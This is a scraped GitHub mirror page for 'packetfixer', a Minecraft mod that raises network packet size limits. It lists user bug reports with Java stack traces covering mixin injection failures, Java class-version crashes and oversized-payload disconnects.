GithubHelp home page GithubHelp logo

tonimatasdev / packetfixer Goto Github PK

View Code? Open in Web Editor NEW
22.0 22.0 2.0 663 KB

A simple mod to solve various problems with packets.

License: MIT License

Java 100.00%
fabric-mod forge-mod minecraft-mod neoforge-mod quilt-mod

packetfixer's Introduction

About me

I'm a self-taught Back-End developer. I like doing Plugins and Mods for Minecraft.

You can check my active repositories here and my archived repositories here.

Contributing to:

  • Ketting an hybrid Forge + Spigot minecraft server.
  • Server-Software a list of all non-paid minecraft server implementations.

My stats

Stats My Projects

The top languages is not accurate, it only counts my profile repositories.

My skills

Skills

What I'm currently learning

Skills

packetfixer's People

Contributors

luke100000 avatar tonimatasdev avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

packetfixer's Issues

Error on 1.20.1 when trying to join friend with Essential

Hello.
After updating today (1.1.6), my friend can't join me anymore, and the Essential support team redirected me here.
debug.log:
debug.log
debug.log of my friend trying to join:
debug (3).log
Apparently linekd to PacketFixer.

Additionally, could have no link but since the update, sometimes when I try to join my world it says something about f_xxxxxx (x being numbers) and "internal exception cannot read field because "player" is null
then it fixes itself and doesn't happen again. very odd...

Anyways, this is the error my friend gets when trying to join:
image

After installing the mod caused other problem

Players still cannot enter the server, the log is as follows

com.mojang.authlib.GameProfile@4da24abc[id=,name=111,properties={},legacy=false] lost connection: Internal Exception: io.netty.handler.codec.DecoderException: java.lang.IndexOutOfBoundsException: readerIndex(1591) + length(1) exceeds writerIndex(1591): PooledUnsafeDirectByteBuf(ridx: 1591, widx: 1591, cap: 1591)

Can't connect to servers

Minecraft Version: 1.20.1
Mod Version: 1.2.8
Fabric Loader: 0.15.7

Client Side Message

[19:02:26] [Render thread/INFO]: Connecting to 0.0.0.0, 25565
[19:02:27] [Netty Client IO #2/ERROR]: Exception occurred in netty pipeline
io.netty.handler.codec.DecoderException: java.util.zip.DataFormatException: incorrect header check
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:489) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:280) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:336) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:323) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:444) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:280) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.handler.codec.MessageToMessageDecoder.channelRead(MessageToMessageDecoder.java:103) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.handler.timeout.IdleStateHandler.channelRead(IdleStateHandler.java:286) ~[netty-handler-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1410) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:919) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:166) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:788) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:724) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:650) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:562) ~[netty-transport-4.1.82.Final.jar:?]
	at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) ~[netty-common-4.1.82.Final.jar:?]
	at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) ~[netty-common-4.1.82.Final.jar:?]
	at java.lang.Thread.run(Thread.java:833) ~[?:?]
Caused by: java.util.zip.DataFormatException: incorrect header check
	at java.util.zip.Inflater.inflateBytesBytes(Native Method) ~[?:?]
	at java.util.zip.Inflater.inflate(Inflater.java:378) ~[?:?]
	at java.util.zip.Inflater.inflate(Inflater.java:464) ~[?:?]
	at net.minecraft.class_2532.decode(class_2532.java:549) ~[client-intermediary.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:519) ~[netty-codec-4.1.82.Final.jar:?]
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:458) ~[netty-codec-4.1.82.Final.jar:?]
	... 31 more

Server Side Message

[18:55:54] [Netty Server IO #1/WARN]: An exception was thrown by net.minecraft.class_2535$$Lambda$24589/0x0000000803658f20.operationComplete()
java.lang.RuntimeException: Mixin transformation of net.minecraft.class_2532 failed
        at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.getPostMixinClassByteArray(KnotClassDelegate.java:427) ~[fabric-loader-0.15.7.jar:?]
        at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.tryLoadClass(KnotClassDelegate.java:323) ~[fabric-loader-0.15.7.jar:?]
        at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.loadClass(KnotClassDelegate.java:218) ~[fabric-loader-0.15.7.jar:?]
        at net.fabricmc.loader.impl.launch.knot.KnotClassLoader.loadClass(KnotClassLoader.java:119) ~[fabric-loader-0.15.7.jar:?]
        at java.lang.ClassLoader.loadClass(ClassLoader.java:520) ~[?:?]
        at net.minecraft.class_2535.method_10760(class_2535.java:421) ~[server-intermediary.jar:?]
        at net.fabricmc.fabric.impl.networking.server.ServerLoginNetworkAddon.lambda$sendCompressionPacket$2(ServerLoginNetworkAddon.java:119) ~[fabric-networking-api-v1-1.3.11+1802ada577-4657550f9c265bf4.jar:?]
        at net.minecraft.class_7648$1.method_45083(class_7648.java:13) ~[server-intermediary.jar:?]
        at net.minecraft.class_2535.method_45082(class_2535.java:224) ~[server-intermediary.jar:?]
        at io.netty.util.concurrent.DefaultPromise.notifyListener0(DefaultPromise.java:578) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.DefaultPromise.notifyListenersNow(DefaultPromise.java:552) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.DefaultPromise.notifyListeners(DefaultPromise.java:491) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.DefaultPromise.addListener(DefaultPromise.java:184) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.channel.DefaultChannelPromise.addListener(DefaultChannelPromise.java:95) ~[netty-transport-4.1.82.Final.jar:?]
        at io.netty.channel.DefaultChannelPromise.addListener(DefaultChannelPromise.java:30) ~[netty-transport-4.1.82.Final.jar:?]
        at net.minecraft.class_2535.method_36942(class_2535.java:222) ~[server-intermediary.jar:?]
        at net.minecraft.class_2535.method_10761(class_2535.java:212) ~[server-intermediary.jar:?]
        at io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:569) ~[netty-transport-4.1.82.Final.jar:?]
        at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) ~[netty-common-4.1.82.Final.jar:?]
        at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) ~[netty-common-4.1.82.Final.jar:?]
        at java.lang.Thread.run(Thread.java:833) ~[?:?]
Caused by: org.spongepowered.asm.mixin.transformer.throwables.MixinTransformerError: An unexpected critical error was encountered
        at org.spongepowered.asm.mixin.transformer.MixinProcessor.applyMixins(MixinProcessor.java:392) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinTransformer.transformClass(MixinTransformer.java:234) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinTransformer.transformClassBytes(MixinTransformer.java:202) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.getPostMixinClassByteArray(KnotClassDelegate.java:422) ~[fabric-loader-0.15.7.jar:?]
        ... 23 more
Caused by: org.spongepowered.asm.mixin.injection.throwables.InjectionError: Critical injection failure: Constant modifier method newSize(I)I in packetfixer-common.mixins.json:CompressionDecoderMixin from mod packetfixer failed injection check, (0/1) succeeded. Scanned 1 target(s). Using refmap PacketFixer-common-common-refmap.json
        at org.spongepowered.asm.mixin.injection.struct.InjectionInfo.postInject(InjectionInfo.java:468) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinTargetContext.applyInjections(MixinTargetContext.java:1384) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.applyInjections(MixinApplicatorStandard.java:1062) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.applyMixin(MixinApplicatorStandard.java:402) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.apply(MixinApplicatorStandard.java:327) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.TargetClassContext.apply(TargetClassContext.java:421) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.TargetClassContext.applyMixins(TargetClassContext.java:403) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinProcessor.applyMixins(MixinProcessor.java:363) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinTransformer.transformClass(MixinTransformer.java:234) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at org.spongepowered.asm.mixin.transformer.MixinTransformer.transformClassBytes(MixinTransformer.java:202) ~[sponge-mixin-0.12.5+mixin.0.8.5.jar:0.12.5+mixin.0.8.5]
        at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.getPostMixinClassByteArray(KnotClassDelegate.java:422) ~[fabric-loader-0.15.7.jar:?]
        ... 23 more
[18:55:54] [Server thread/WARN]: handleDisconnection() called twice

Question and possible bug in one

Is this mod able to work fully client side? I have it client side and when I pick up a shulker full of book bans, I dont get kicked which is good, but when I then open my inventory I do, or when I move it if I open a chest while its in my inventory. or when I open a book ban shulker while having one in my inventory too.

I think this could be fixed by making sure the inventory doesnt send less packages or something, honestly im not sure, but just like how dropping the item(the book ban shulker) and picking it up doesnt ban you, im hoping theres a way to have it not do that when opening your inventory. all client side hopefully.

1.1.5 on MC 1.20.1 crashes client when connecting to dedicated server

Minecraft: 1.20.1
Forge: 1.20.1-47.1.3
PacketFixer: 1.1.5-1.20.1
ModList: https://github.com/sandalle/nst-trailsandtales/tree/main

Error on server console when client tries to connect (server does not crash, nor does client, client just disconnects after trying to connect):

[01Sep2023 14:43:52.192] [User Authenticator #2/INFO] [net.minecraft.server.network.ServerLoginPacketListenerImpl/]: UUID of player sandalle is NotMyRealUID
[01Sep2023 14:44:01.897] [Netty Epoll Server IO #5/WARN] [io.netty.util.concurrent.DefaultPromise/]: An exception was thrown by net.minecraft.network.Connection$$Lambda$43531/0x000000080445e228.operationComplete()
org.spongepowered.asm.mixin.transformer.throwables.MixinTransformerError: An unexpected critical error was encountered
        at org.spongepowered.asm.mixin.transformer.MixinProcessor.applyMixins(MixinProcessor.java:392) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinTransformer.transformClass(MixinTransformer.java:250) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.service.modlauncher.MixinTransformationHandler.processClass(MixinTransformationHandler.java:131) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.launch.MixinLaunchPluginLegacy.processClass(MixinLaunchPluginLegacy.java:131) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at cpw.mods.modlauncher.serviceapi.ILaunchPluginService.processClassWithFlags(ILaunchPluginService.java:156) ~[modlauncher-10.0.9.jar%2355!/:10.0.9+10.0.9+main.dcd20f30]
        at cpw.mods.modlauncher.LaunchPluginHandler.offerClassNodeToPlugins(LaunchPluginHandler.java:88) ~[modlauncher-10.0.9.jar%2355!/:?]
        at cpw.mods.modlauncher.ClassTransformer.transform(ClassTransformer.java:120) ~[modlauncher-10.0.9.jar%2355!/:?]
        at cpw.mods.modlauncher.TransformingClassLoader.maybeTransformClassBytes(TransformingClassLoader.java:50) ~[modlauncher-10.0.9.jar%2355!/:?]
        at cpw.mods.cl.ModuleClassLoader.readerToClass(ModuleClassLoader.java:113) ~[securejarhandler-2.1.10.jar:?]
        at cpw.mods.cl.ModuleClassLoader.lambda$findClass$15(ModuleClassLoader.java:219) ~[securejarhandler-2.1.10.jar:?]
        at cpw.mods.cl.ModuleClassLoader.loadFromModule(ModuleClassLoader.java:229) ~[securejarhandler-2.1.10.jar:?]
        at cpw.mods.cl.ModuleClassLoader.findClass(ModuleClassLoader.java:219) ~[securejarhandler-2.1.10.jar:?]
        at cpw.mods.cl.ModuleClassLoader.loadClass(ModuleClassLoader.java:135) ~[securejarhandler-2.1.10.jar:?]
        at java.lang.ClassLoader.loadClass(ClassLoader.java:521) ~[?:?]
        at net.minecraft.network.Connection.m_129484_(Connection.java:405) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at net.minecraft.server.network.ServerLoginPacketListenerImpl.m_10040_(ServerLoginPacketListenerImpl.java:113) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at net.minecraft.network.PacketSendListener$1.m_243096_(PacketSendListener.java:13) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at net.minecraft.network.Connection.lambda$doSendPacket$9(Connection.java:228) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at io.netty.util.concurrent.DefaultPromise.notifyListener0(DefaultPromise.java:578) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.concurrent.DefaultPromise.notifyListenersNow(DefaultPromise.java:552) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.concurrent.DefaultPromise.notifyListeners(DefaultPromise.java:491) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.concurrent.DefaultPromise.addListener(DefaultPromise.java:184) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.channel.DefaultChannelPromise.addListener(DefaultChannelPromise.java:95) ~[netty-transport-4.1.82.Final.jar%2385!/:4.1.82.Final]
        at io.netty.channel.DefaultChannelPromise.addListener(DefaultChannelPromise.java:30) ~[netty-transport-4.1.82.Final.jar%2385!/:4.1.82.Final]
        at net.minecraft.network.Connection.m_243087_(Connection.java:226) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at net.minecraft.network.Connection.lambda$sendPacket$8(Connection.java:213) ~[server-1.20.1-20230612.114412-srg.jar%23585!/:?]
        at io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:403) ~[netty-transport-classes-epoll-4.1.82.Final.jar%2386!/:4.1.82.Final]
        at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) ~[netty-common-4.1.82.Final.jar%2382!/:4.1.82.Final]
        at java.lang.Thread.run(Thread.java:833) ~[?:?]
Caused by: org.spongepowered.asm.mixin.injection.throwables.InjectionError: Critical injection failure: Constant modifier method newSize(I)I in packetfixer.mixins.json:CompressionDecoderMixin failed injection check, (0/1) succeeded.
 Scanned 1 target(s). Using refmap packetfixer.refmap.json
        at org.spongepowered.asm.mixin.injection.struct.InjectionInfo.postInject(InjectionInfo.java:468) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinTargetContext.applyInjections(MixinTargetContext.java:1362) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.applyInjections(MixinApplicatorStandard.java:1051) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.applyMixin(MixinApplicatorStandard.java:400) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinApplicatorStandard.apply(MixinApplicatorStandard.java:325) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.TargetClassContext.apply(TargetClassContext.java:383) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.TargetClassContext.applyMixins(TargetClassContext.java:365) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        at org.spongepowered.asm.mixin.transformer.MixinProcessor.applyMixins(MixinProcessor.java:363) ~[mixin-0.8.5.jar%2365!/:0.8.5+Jenkins-b310.git-155314e6e91465dad727e621a569906a410cd6f4]
        ... 32 more
[01Sep2023 14:44:01.930] [Server thread/INFO] [net.minecraft.server.players.PlayerList/]: sandalle[/10.1.10.114:52461] logged in with entity id 13313 at (-177.88358328436328, 63.0, 251.60904866143193)
[01Sep2023 14:44:02.062] [Server thread/INFO] [net.minecraft.server.MinecraftServer/]: sandalle joined the game
[01Sep2023 14:44:02.161] [Server thread/WARN] [de.teamlapen.vampirism.GeneralEventHandler/]: Version check is not finished yet
[01Sep2023 14:44:02.163] [Server thread/INFO] [APTweaks(Player)/]: Player sandalle ServerPlayer['sandalle'/13313, l='ServerLevel[New World]', x=-177.88, y=63.00, z=251.61] logged in and will be protected for 90 secs.
[01Sep2023 14:44:02.164] [Server thread/INFO] [Jade/]: Syncing config to sandalle (NotMyRealUID)
[01Sep2023 14:44:02.168] [Server thread/INFO] [mcjty.lib.setup.DefaultModSetup/]: Client logged in: sending dimlet packages
[01Sep2023 14:44:02.170] [Server thread/INFO] [net.minecraft.server.network.ServerGamePacketListenerImpl/]: sandalle lost connection: Disconnected
[01Sep2023 14:44:02.170] [Server thread/INFO] [net.minecraft.server.MinecraftServer/]: sandalle left the game
[01Sep2023 14:44:02.230] [Server thread/WARN] [net.minecraft.network.Connection/]: handleDisconnection() called twice

Reverting client and server to 1.1.4-1.1.4-1.20.1 allows the clients to connect to the dedicated server.

Crash on launch (1.4.0)- "Error loading companion plugin class for mixin config"

(Mirrored from my entry on the Discord forum thread: "Fabric 1.20.1 instant crash")

The client crashes on launch with the following error:

[26May2024 10:42:30.882] [main/ERROR] [mixin/]: Error loading companion plugin class [dev.tonimatas.packetfixer.mixins.MixinConfigPlugin] for mixin config [packetfixer-common.mixins.json]. The plugin may be out of date: UnsupportedClassVersionError:dev/tonimatas/packetfixer/mixins/MixinConfigPlugin has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 61.0
java.lang.UnsupportedClassVersionError: dev/tonimatas/packetfixer/mixins/MixinConfigPlugin has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 61.0

This was tested on a clean 1.20.1 NeoForge install with no other mods installed. Logfile.
I am running JRE 8u411 (latest).

Wrong version tagged to curseforge.

latest update for the mod says it's for fabric. instead of forge. please tag it properly so my pack stops prompting me to download a version of a mod I can't even use. (which also resulted in my friends being unable to join me for a bit until I realized. since I need this mod to fix that giant packet bug it patches)

Crash on Startup (1.16)

I know this bug is fixed in current versions, the thing is, those fixes aren't available in 1.16.5 yet

Still have Payload may not be larger than 1048576 bytes when trying to join my server 1.20.1 Fabric

Me and my friends put together a modpack for 1.20.1 fabric and at first it kept kicking us from the server with the "Payload may not be larger than 1048576 bytes" error. We found packet fixer and put it on the server and the modpack because we thought it would help, but we still can't get on the server and when it kicks us off the server it still says "Payload may not be larger than 1048576 bytes".

latest.log

[1.20.1] [Fabric] Cant fit X into 3 error when joining a server

Hey!

I have an issue where when i try to join a server, i get an issue where X number cant fit to 3 in a modpack. I assume this is something to do with packets? I saw that someone else also had this issue, but this is for a different version (1.20.1).

Ive been trying to solve this for 5 days now, and im going insane. I noticed mention that Krypton should be deleted, but no dice. Same with Chipped and Wood Good (Deleted Wood Good, no dice). I have tried to binary the modpack for days but nothing useful has come up. I do have ALOT of mods (~500), but even when shrink to mere ~300-250, the issue is still there.

Any help with the issue would be greatly appreciated.

Log of the error (Full log is too big for PasteBin) https://pastebin.com/RVXSCttW

PacketFixes version: 1.1.7-Fabric

NBT tag too large not resolved

NBT tag too large errors occured also while having this mod installed in my server. Is a common mod? An only client mod? Or works also on servers? Actually didn't resolved my problem and i don t know what to do

Crash on Load Phase

Crash on Load Phase because new version server forge is not suported

Minecraft : 1.19.3-44.1.22
Mod Version : PacketSizeDoublerForge-1.0.7-1.19.x

imagen

Doesnt do anything on 1.19.2

I load up, and get the Payload may not be larger than 1048576 bytes
error on the client

Installed on both client and server

This new version was compiled with a class file version 65

Nothing in the modrinth changelog and it causes a rash (with no crash log) during boot.
Log
[07:48:17] [main/ERROR]: Minecraft has crashed!
net.fabricmc.loader.impl.FormattedException: java.lang.UnsupportedClassVersionError: net/minecraft/class_2540 has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 61.0
at net.fabricmc.loader.impl.FormattedException.ofLocalized(FormattedException.java:63) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.game.minecraft.MinecraftGameProvider.launch(MinecraftGameProvider.java:472) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.launch.knot.Knot.launch(Knot.java:74) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.launch.knot.KnotClient.main(KnotClient.java:23) ~[fabric-loader-0.15.11.jar:?]
Caused by: java.lang.UnsupportedClassVersionError: net/minecraft/class_2540 has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 61.0
at java.lang.ClassLoader.defineClass1(Native Method) ~[?:?]
at java.lang.ClassLoader.defineClass(ClassLoader.java:1012) ~[?:?]
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:150) ~[?:?]
at net.fabricmc.loader.impl.launch.knot.KnotClassLoader.defineClassFwd(KnotClassLoader.java:160) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.tryLoadClass(KnotClassDelegate.java:355) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.launch.knot.KnotClassDelegate.loadClass(KnotClassDelegate.java:218) ~[fabric-loader-0.15.11.jar:?]
at net.fabricmc.loader.impl.launch.knot.KnotClassLoader.loadClass(KnotClassLoader.java:119) ~[fabric-loader-0.15.11.jar:?]
at java.lang.ClassLoader.loadClass(ClassLoader.java:520) ~[?:?]
at net.fabricmc.fabric.impl.registry.sync.RegistrySyncManager.(RegistrySyncManager.java:67) ~[fabric-registry-sync-v0-2.3.3+1802ada577-70a9685310656ab1.jar:?]
at net.minecraft.class_2370.onChange(class_2370.java:677) ~[client-intermediary.jar:?]
at net.minecraft.class_2370.handler$dak000$fabric-registry-sync-v0$set(class_2370.java:672) ~[client-intermediary.jar:?]
at net.minecraft.class_2370.method_46744(class_2370.java:181) ~[client-intermediary.jar:?]
at net.minecraft.class_2370.method_10272(class_2370.java:186) ~[client-intermediary.jar:?]
at net.minecraft.class_7923.method_47478(class_7923.java:217) ~[client-intermediary.jar:?]
at net.minecraft.class_7923.method_47488(class_7923.java:209) ~[client-intermediary.jar:?]
at net.minecraft.class_7923.method_47489(class_7923.java:197) ~[client-intermediary.jar:?]
at net.minecraft.class_7923.(class_7923.java:119) ~[client-intermediary.jar:?]
at net.minecraft.class_2966.method_12851(class_2966.java:50) ~[client-intermediary.jar:?]
at net.minecraft.client.main.Main.main(Main.java:166) ~[1.20.1.jar:?]
at net.fabricmc.loader.impl.game.minecraft.MinecraftGameProvider.launch(MinecraftGameProvider.java:470) ~[fabric-loader-0.15.11.jar:?]
... 2 more
Process ended with code: 1

Mod is unavailable on Third-party Launchers

You have the Curseforge "Prevent Third-Party Distribution" setting enabled, which prevents your mod from being used on third-party launchers. Many people do not want to use the Overwolf launcher due to privacy and data-harvesting concerns, or inaccessibility on Linux, and this restriction makes it difficult for those people to use modpacks with your mod in them, as well as discouraging pack developers from including your mod. Additionally, it makes it much more difficult to host a server with this mod. For more details, see https://gist.github.com/copygirl/7d45bad739453d2be61138cebafce04c

I'm assuming this is unintentional since your mod is under the MIT License and available on Modrinth.

Issues with GraphLib?

[02:41:38] [Server thread/WARN]: [CoreMinecraftNetUtil#lambda$getServerConnection$5] Disallowed server connection for class_3222['JingF'/144, l='ServerLevel[world]', x=-65.36, y=117.00, z=-187.08, removed=UNLOADED_WITH_PLAYER] because it's channel is not open!
[02:41:38] [Server thread/ERROR]: Error sending GraphWorld chunk packets. World: 'ServerLevel[world]'/minecraft:overworld, Chunk: [-4, -17]
